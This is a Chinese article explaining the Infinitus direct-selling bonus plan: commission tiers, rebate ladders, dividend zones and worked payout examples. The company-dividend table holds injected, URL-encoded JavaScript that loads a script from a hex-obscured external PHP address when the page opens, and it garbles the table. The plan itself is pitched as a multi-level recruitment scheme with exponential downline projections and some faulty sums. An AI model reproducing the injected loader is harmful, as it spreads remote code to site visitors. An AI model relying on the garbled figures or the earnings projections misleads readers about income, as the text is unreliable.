解讀無限極獎金規(guī)章制度

時間：2024-10-27 09:15:31 規(guī)章制度我要投稿

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解讀無限極獎金規(guī)章制度

　　解讀無極限獎金規(guī)章制度

解讀無限極獎金規(guī)章制度

　　獲批直銷經(jīng)營許可證，是無限極發(fā)展歷程中一個重要的新起點，無限極積極配合中央政府調(diào)整新的業(yè)務制度，現(xiàn)將公司以公布的制度策略整理如下，如有變動，請以無限極公司官方公布的最新資料為準，敬請關(guān)住!

　　無限極的獎金制度又稱為“經(jīng)銷商獎勵計劃”。是所有從事無限極事業(yè)伙伴必須掌握的核心要素之一，同時也是公司和合作伙伴共同遵守的規(guī)范。公司通過充分研究美式、歐式、日本及馬來西亞等世界直銷業(yè)發(fā)達國家的著名直銷企業(yè)的制度，認真分析中國國情而制定的非常人性化的制度。業(yè)績不歸零，可累積疊加，使得與無限極合作的伙伴在初期、中期和后期的每個階段的利益都能獲得充分保障，完全沒有囤貨沖擊業(yè)績的壓力，可以輕輕松松隨心所欲做直銷。

　　無限極的“經(jīng)銷商獎勵計劃”歸納起來就是很簡單的“十項服務報酬”：

　　1.零售利潤——20%

　　2.銷售折扣——10%

　　3.培訓獎勵——12.5% (又叫超額獎勵)

　　4.業(yè)績紅利——6%

　　5.公司分紅——10.5% (又細分為六個市場九個分區(qū)，后面詳解。)

　　6.穩(wěn)健獎金——0.5%

　　7.優(yōu)秀獎金——0.3%

　　8.卓越獎金——0.2%

　　9.杰出成就獎——0.1%

　　10.旅游培訓獎——1%

　　獎金比例撥付總額高達61.1%，是很多公司難以企及的，更加體現(xiàn)了公司“思利及人”的理念和文化內(nèi)涵。

　　一、獎金制度解析—20% 零售利潤

　　20%的零售利潤，是指你已經(jīng)投入了498元購買了無限極的產(chǎn)品，獲得了銷售無限極品牌產(chǎn)品的資格后，直接可以在全國任意一家正規(guī)的無限極公司授權(quán)的品牌專賣店以產(chǎn)品標價的80%額度付款拿貨。

　　當你以產(chǎn)品標價在市場上銷售成功后，就直接有20%的差額收入，銷售越多收入相應的也就越高。當然這個20%的空間自己也可以根據(jù)銷售的對象靈活掌握。比如說，你銷售的對象是多年來很要好的密友或者同學，你只賺取10%或者N%的利潤而把10%或者N%利潤讓給他，也是可以的。這種情況在你從事產(chǎn)品銷售活動中應該占極小的比例，為了多賣產(chǎn)品而刻意銷價是不可取的，首先是公司有明文規(guī)定不準銷價，一旦發(fā)現(xiàn)將會受到開除資格的懲罰。其次你賣產(chǎn)品就是為了賺取差價，這個差價里包含了你為達成交易所付出的所有成本開支，包括交通費、通信費、宣傳資料費以及售后服務費等等，所以無限極的伙伴們這個20%的利潤也賺的合情合理。

　　二、經(jīng)銷商折扣10%

　　10%經(jīng)銷商銷售折扣是指與之銷售額相對應的折扣比率，從2%—4%—6%—8%—10%分為5個不同比率的梯級。

　　1. 1000元——2%：指你第一個月內(nèi)完成了1000元的銷售，就再得到2%的折扣利潤，及 1000 * 2% =20 元。

　　2. 2000元——4%：指你第二個月的銷售額加上第一個月的達到了2000元時就可以得到4%的折扣利潤，及 2000*4%=80元。

　　3. 4000元——6%：當月的營業(yè)額達到4000元時可以得到6%的折扣收入，及4000*6%=240元。這項營業(yè)額可以與前面的業(yè)績累積，也就是說這個月你實際的銷售額不必達4000元，可以是1000或2000就可以拿到240元。

　　4. 6000元——8% : 當月的營業(yè)額達到6000元是可以得到8%的折扣收入，及6000*8%=480元�？梢耘c前面相鄰兩個月的業(yè)績累積計算。

　　5. 10000元——10% 當月的營業(yè)額達到10000元是可以得到10%的折扣收入，及10000*10%=1000元�？梢耘c前面相鄰兩個月的業(yè)績累積計算，當月實際銷售額不必達到10000元，只有與前面的相加達到10000元的標準就可以了。

　　特別說明：以上銷售折扣收入在達到了所要求的標準層級后，計算當月的獎金是按照本月你實際的銷售額來計算的。例假如你7月份達到了4000元，8月份只銷售了2000元，相鄰兩個月相加是6000元，這時候就達到了8%的折扣標準，但你8月份的實際收入是2000*8%=160元，而不是6000*8%=480元。

　　當你達到10%的級別標準，以后將永遠享受10%的比例，不管你當月實際有多少銷售額，只升不降。和前面20%的零售利潤可以兼得，這時候已經(jīng)有30%的利潤空間，非常的劃算誘人。

　　當月基層市場營業(yè)額達到某個分配比例，可享受該比例相應的百分比折扣，并可以得到與合作經(jīng)銷商分配比例折扣的利潤差額。其方法有2，例如：

　　方法一：

　　你的市場里加上自己一共有A、B、C、D、4個合作伙伴，A是自己，B、C、D是與合作的下屬部門。8月份總銷售額是10000元，達到了10%的分配比例;但每個人的銷售額分別是A(自己1000元)、B(1000元)、C(4000元)、D(4000元)，本月你的收入是總的銷售額比例減去B、C、D每個人當月實際達標后實際應拿的相應折扣比例，計算如下：(10000*10%)-(1000*2%+4000*6%+4000*6%)=1000 —(20+240+240)=500元。

　　方法二：

　　A(你的收入還可以如下計算)：

　　自己1000*10%=100元

　　級差 B 1000*(10%-2%)=80元

　　C 4000*(10%-6%)=160元

　　D 4000*(10%-6%)=160元

　　合計為：100+80+160+160=500元。

　　注：獲得經(jīng)銷商的資格是：a:當月銷售額達到4000元;b:相連兩個月達到6000元;c: 相連三個月達到10000元。

　　折扣只升不降，可以越級晉升;可以連續(xù)兩個月的業(yè)績累加升級;以經(jīng)銷商的當月全部市場營業(yè)額獲取差額利潤。

　　經(jīng)銷商當月最低銷售額300點(優(yōu)惠價就是銷售點數(shù))。

　　經(jīng)銷商應繳納個人所得稅金，將按國家稅金規(guī)定，由公司代扣，上交稅務局。

　　銷售折扣兩項優(yōu)惠政策的具體計算方法如下：

　　(1)連續(xù)兩個月營業(yè)額可以累積

　　例如：一月 4000點(6%)

　　二月 6000點 (+

　　——————————————————————————

　　( 兩個月累積)10000 點10%

　　也就是說第二個月6000就可享受10%的折扣。

　　(2) 只升不降

　　例如：

　　一月收入：4000*6%=240元

　　二月收入：6000*10%=600元

　　三月收入：2000*10%=200元

　　三、培訓(超額)獎勵12.5%

　　1.當月達標經(jīng)銷商(10000點，含個人營業(yè)額300點)擁有一位直屬達標市場(10000點，含個人營業(yè)額300點)，可以享受培訓獎勵1250元。注：達標經(jīng)銷商也就是“基礎(chǔ)市場”。

　　例如：

　　A(自己)本月銷售額為10000元

　　B(達標的市場部門)本月銷售額也為10000元

　　你得到的培訓獎勵計算為：

　　A=10000*12.5%=1250元

　　2.當月?lián)碛幸晃恢睂龠_標市場，但基礎(chǔ)市場營業(yè)額不夠10000點，也可以享受12.5%的培訓獎勵。

　　例如：

　　A自己(基礎(chǔ)市場)本月銷售額為4000元

　　B部門(直屬市場)本月銷售額為10000元

　　你也可以拿到12.5%的相應培訓獎勵，計算公式為A=4000*12.5%=500元

　　或者：A=300元(只達到了個人營業(yè)額)

　　B=10000元(滿足達標標準)

　　你可以拿到的培訓獎勵計算公式為：A=300*12.5%=37.50元

　　3.當月沒有直屬達標市場，但你的整個基礎(chǔ)市場營業(yè)額超過了10000點，超過的部分也可以享受12.5%的培訓獎勵。

　　例如：

　　A：銷售額是6000元

　　B：銷售額是6000元

　　C：銷售額是4000元

　　D：銷售額是4000元

　　那么你可以拿到的培訓獎勵的計算公式為：A=(20000—10000)*12.5%=1250元

　　“培訓(超額)獎勵”，顧名思義就是為你帶好部門團隊而設(shè)立的一項具有“領(lǐng)導”性質(zhì)的獎金，鼓勵你為下屬部門多付出、勤付出、樂于付出的肯定和激勵，積極為團隊培養(yǎng)講師及領(lǐng)袖人才。

　　四、業(yè)績紅利6%

　　1. 業(yè)績紅利分配百分比表

當月累積營業(yè)額（點）	百分比（%）	當月累積營業(yè)額（點）	百分比（%）
10，000	1.25	600，000	3.75
20，000	1.50	800，000	4.00
40，000	1.75	1，000，000	4.25
60，000	2.00	1，500，000	4.50
80，000	2.25	2，000，000	4.75
110，000	2.50	2，500，000	5.00
140，000	2.75	3，000，000	5.25
200，000	3.00	3，500，000	5.50
300，000	3.25	4，000，000	5.75
400，000	3.50	4，500，000	6.00

　　計算方法: 按當月個人累積營業(yè)額與直屬合作經(jīng)銷商個人累積營業(yè)額的差額計算，紅利百分比為1.25——6% ，劃分20個臺階，每個臺階的階差為0.25%，營業(yè)額可以計算到無限代。

　　例如：

　　A: 10000點(含個人300點)

　　B: 10000點(含個人300點)

　　C：10000點(含個人300點)

　　計算公式為： A=(30000*1.50%)—B(10000*1.25%)—C(10000*1.25%)

　　=450元—125元—125元

　　=A 200元

　　A: 300點

　　B: 10000點

　　C: 10000點

　　計算公式為： A=(20300*1.50%)—(10000*1.25%)—(10000*1.25%)

　　=304.5元—125元—125元

　　=A 54.5元

　　A: 2000點

　　B: 10000點

　　C: 20000點

　　D: 40000點

　　計算公式為： A= (72000*2.00%) — B(10000*1.25%)— C(20000*1.50%)— D(40000*1.75%)

　　=1440元—125元—300元—700元

　　=A 315元

　　五、公司分紅10.5%

職級	業(yè)務主任	高級主任	業(yè)務經(jīng)理	高級經(jīng)理	業(yè)務總監(jiān)
基礎(chǔ)市場營業(yè)額（點）	10000	8000	6000	4000	2000
直屬達標市場位數(shù)	1—2	3	#FormatImgID_0# cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A">4	5	6以上
第一分區(qū)	1.5	1.5	1.5	1.5	1.5
tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D"> 第二分區(qū)	1.5	1.5	1.5	1.5	1.5
第三分區(qū)	1.5	1.5	1.5	1.5	1.5
第四分區(qū)		1.5	1.5	1.5	1.5
第五分區(qū)			1.3	1.3	1.3
第六分區(qū)			1.1	1.1	1.1
第七分區(qū)				0.9	0.9
第八分區(qū)					0.7
第九分區(qū)					0.5

　　獲得條件：

　　業(yè)務主任以上有資格享受，最高享受九個分區(qū)。

　　公司分紅收入表如下：

　　1. 當月?lián)碛兄辽僖粋€直屬達標市場，基礎(chǔ)市場營業(yè)額達到10，000點(含個人業(yè)績300點)。

　　例如：當月你的市場銷售額分別為

　　A：10000元 B: 10000元 C: 10000元 D：20000元

　　應得收入計算公式為：

　　A=10000*1.50%+10000*1.50%+10000*1.50%+20000*1.50%

　　=150元+150元+300元

　　=600元

　　B=10000*1.50%+20000*1.50%

　　=450元

　　2. 當月基礎(chǔ)市場營業(yè)額不夠10，000點，但培訓出一個全新市場。

　　例如： B本月營業(yè)額只有300點，但他的直屬合格市場中有一位是全新市場，使B有資格享受公司分紅。

　　當月你的市場銷售額分別為： A：10000; B：300; C: 10000; D: 10000; E:(全新市場)10000

　　A自己，B、C、D、E是你的下屬部門，其中B為直接領(lǐng)導部門。

　　應得收入計算公式為：

　　B=10000*1.50%+10000*1.50%=300元

　　A=10300*1.50%+10000*1.50%+10000*1.50%

　　=154.5+150+150

　　=454.5元

　　注意：由以上計算公式可以清楚的闡述出，全新的市場E只是讓你在基礎(chǔ)市場營業(yè)額不夠10000點時，獲得了享受分紅的資格，新市場E的當月營業(yè)額并不計算在你的分紅獎金里。

　　3. 當月基礎(chǔ)市場營業(yè)額不夠10000點，可根據(jù)所擁有的直屬達標市場的位數(shù)，相應減少對基礎(chǔ)市場營業(yè)額的要求。

　　例如： B只有8000點，但他當月?lián)碛腥?C:10000\D:10000\E:10000)直屬達標市場，因此可以享受公司分紅。

　　實際應得收入計算公式為;

　　B=(10000*1.50%)*3 —(10000—8000)*1.50%

　　= 450—30

　　=420元

　　注意：這時候的30元可以上浮至上屆市場達標，計算公式為

　　A=10000*1.50%+2000*1.50%+(10000*1.50%)*3

　　=150+30+450

　　=630元

　　獎金提撥表：

分區(qū)	六六模式	提撥比例	提撥金額	每區(qū)金額	累計
1	6	10，000*1.50%	150	900	900
2	36	10，000*1.50%	150	5400	6300
3	216	10，000*1.50%	150	32400	37800
4	1296	10，000*1.50%	150	194400	226800
5	7776	10，000*1.30%	130	1010880	1205280
6	46656	10，000*1.10%	110	5132160	6143040
7	279936	10，000*0.90%	90	25194240	30326400
8	1679616	10，000*0.70%	70	117573120	142767360
9	10077696	10，000*0.50%	50	503884800	621457920

　　六、穩(wěn)健獎金0.5%

　　獲得此項獎金的條件是：

　　每兩個10萬市場計1分，四個10萬市場計2分，后面以此類推，加權(quán)分配。

　　假設(shè)公司銷售額為10億元人民幣，經(jīng)統(tǒng)計符合資格人員的分數(shù)合計為1000分，則計算方法如下:

　　10億*0.5%=500萬

　　500萬/1000分=5000元

　　按最低符合標準擁有1分計算，則每人可獲獎勵5000元。

　　七、優(yōu)秀獎金0.3%

　　獲得優(yōu)秀獎金的條件有以下2個方法：

　　1. 擁有一個450萬的市場，其他市場合計225萬以上;

　　2. 擁有兩個450萬的市場，也享受此項待遇，沒有其他營業(yè)額的要求。

　　計算方法：符合以上條件者為1分，符合條件多者，分數(shù)相應增加。以此類推，加權(quán)分配。

　　假設(shè)公司銷售額為10億人民幣，經(jīng)統(tǒng)計符合資格人員的分數(shù)合計為100分，則計算如下：

　　10億*0.3%=300萬

　　300萬/100分=3萬元

　　按最低符合標準擁有值分計算，則每人可獲3萬元獎勵。

　　八、卓越獎金0.2%

　　獲得條件：

　　總業(yè)績450萬以上，同時培養(yǎng)出5個50萬市場計5分，每增加1個50萬市場加1.5分。以此類推，加權(quán)分配。

　　假設(shè)公司銷售額為10億元人民幣，經(jīng)統(tǒng)計符合資格人員的分數(shù)合計為100分，則計算方法如下：

　　10億*0.2%=200萬

　　200萬/100分=2萬

　　按最低符合標準5分計算，則每人可獲獎勵10萬元。

　　九、杰出成就獎0.1%

　　總業(yè)績900萬以上，同時培養(yǎng)出10個50萬市場計10分，每增加1個50萬市場計1.5分，依次類推，加權(quán)分配。

　　假設(shè)公司銷售額為10億人民幣，經(jīng)統(tǒng)計符合資格的人員的分數(shù)合計為100分，則計算公式如下：

　　10億*0.1%=100萬

　　100萬/100分=1萬

　　按最低符合標準擁有10分計算，則每人可獲獎勵10萬。

　　十、旅游培訓獎

　　獲得條件：

　　1. 當月個人營業(yè)額必須達到300點。

　　2. 計算方法：逐月計分，年終累計。

　　3. 計算公式：月旅游積分=個人稅前月收入/10 。

　　4. 年旅游積分標準：由公司測算后提前公布。

　　5. 稅前年收入達到6萬元以上可免費參加出國旅游培訓。

　　注： 1. 本制度為吸引優(yōu)秀人才而設(shè)計，大、中、小兼顧。

　　2. 擁有4個以上市場的業(yè)務經(jīng)理不可兼做其它公司。

　　3. 推薦新顧客加入不算個人銷售300點。

　　獎金制度相關(guān)名詞解釋

　　一、普通消費者：以零售價任意選購公司產(chǎn)品的消費者。

　　二、經(jīng)銷商: 符合業(yè)務資格申請條件，經(jīng)本人申請，公司確認，從事產(chǎn)品推廣、市場拓展及售前、售中、售后服務，且只容許獲得一個經(jīng)銷商資格。(與公司簽定勞務協(xié)議合同。提供中國銀行、工商銀行、建設(shè)銀行其中一個戶頭復印件及身份證復印件)。一次性購買498元產(chǎn)品可申請辦優(yōu)惠卡和經(jīng)銷商資格，此卡在全球范圍內(nèi)專賣店均有效。

　　三、產(chǎn)品銷售點數(shù)：用以計算您的營額，并據(jù)此發(fā)放獎金。

　　四、個人營業(yè)額：個人直接銷售產(chǎn)品和拓展市場所銷售之點數(shù)的總和。

　　五、基礎(chǔ)市場營業(yè)額: 個人營業(yè)額及其所屬不足10000點的銷售小組營業(yè)額總和。

　　六、個人累積營業(yè)：個人營業(yè)額及其所屬直銷隊伍營業(yè)額總和。

　　七、達標市場(達標經(jīng)銷商)：當月個人營業(yè)額達到10000點的銷售小組(經(jīng)銷商)。

　　八、全新市場：當月第一次達到10000點的銷售小組。

　　九、分區(qū)：指與您所領(lǐng)導的業(yè)務隊伍組織結(jié)構(gòu)的層數(shù)。

　　十、浮動業(yè)績：計算公司分紅時，觀察業(yè)績時，由下往上計算，有10000點者，為一個達標分區(qū)，不夠10000點者，向上浮動，稱之為浮動業(yè)績。

　　十一、直屬達標市場：您所領(lǐng)導的業(yè)務隊伍組織結(jié)構(gòu)中第一層的銷售小組。

　　十二、經(jīng)銷商：當月銷售4000元，相連兩個月6000元或相連三個月10000元的市場。

　　十三、見習業(yè)務主任：連續(xù)三個月達到一萬元的市場。

　　十四、業(yè)務主任： 1至2個市場總業(yè)績3萬以上，連續(xù)三個月。